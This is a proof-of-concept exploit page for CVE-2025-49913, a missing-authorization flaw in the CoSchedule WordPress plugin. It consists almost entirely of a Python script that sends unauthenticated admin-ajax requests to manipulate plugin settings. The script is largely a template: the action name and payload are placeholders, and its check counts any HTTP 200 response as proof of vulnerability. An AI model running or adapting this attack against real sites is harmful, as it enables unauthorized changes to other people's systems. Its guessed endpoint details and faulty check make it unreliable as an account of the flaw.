CVE-2025-49913：CoSchedule插件缺失授权访问控制漏洞

# CVE-2025-49913 - CoSchedule Broken Access Control PoC # Vulnerability: Missing Authorization in CoSchedule WordPress Plugin (<= 3.4.0) # Discovered by: [email protected] # # This PoC demonstrates exploitation of the broken access control vulnerability # by sending unauthorized requests to vulnerable plugin endpoints. import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint exposed by the coschedule-by-todaymade plugin # (exact endpoint path may vary based on plugin version) VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" # Action hook used by the CoSchedule plugin without proper authorization checks # Common actions include: coschedule_load_templates, coschedule_save_settings, etc. ACTION = "coschedule_endpoint_action" def exploit_broken_access_control(): """ Exploit the missing authorization vulnerability in CoSchedule plugin. No authentication or nonce token is required. """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest" } # Payload to manipulate plugin settings/data (example) payload = { "action": ACTION, "post_id": "1", "coschedule_data": "malicious_payload_here" } try: # Send unauthorized request - no cookies, no nonce token response = requests.post( f"{TARGET_URL}{VULNERABLE_ENDPOINT}", data=payload, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Request successful (HTTP {response.status_code})") print(f"[+] Response: {response.text[:500]}") # Check if the operation was performed without authorization if "success" in response.text.lower() or response.status_code == 200: print("[!] VULNERABLE: Operation succeeded without authentication!") return True else: print(f"[-] Request failed with HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-49913 PoC - CoSchedule Broken Access Control") print("[*] Testing target:", TARGET_URL) exploit_broken_access_control()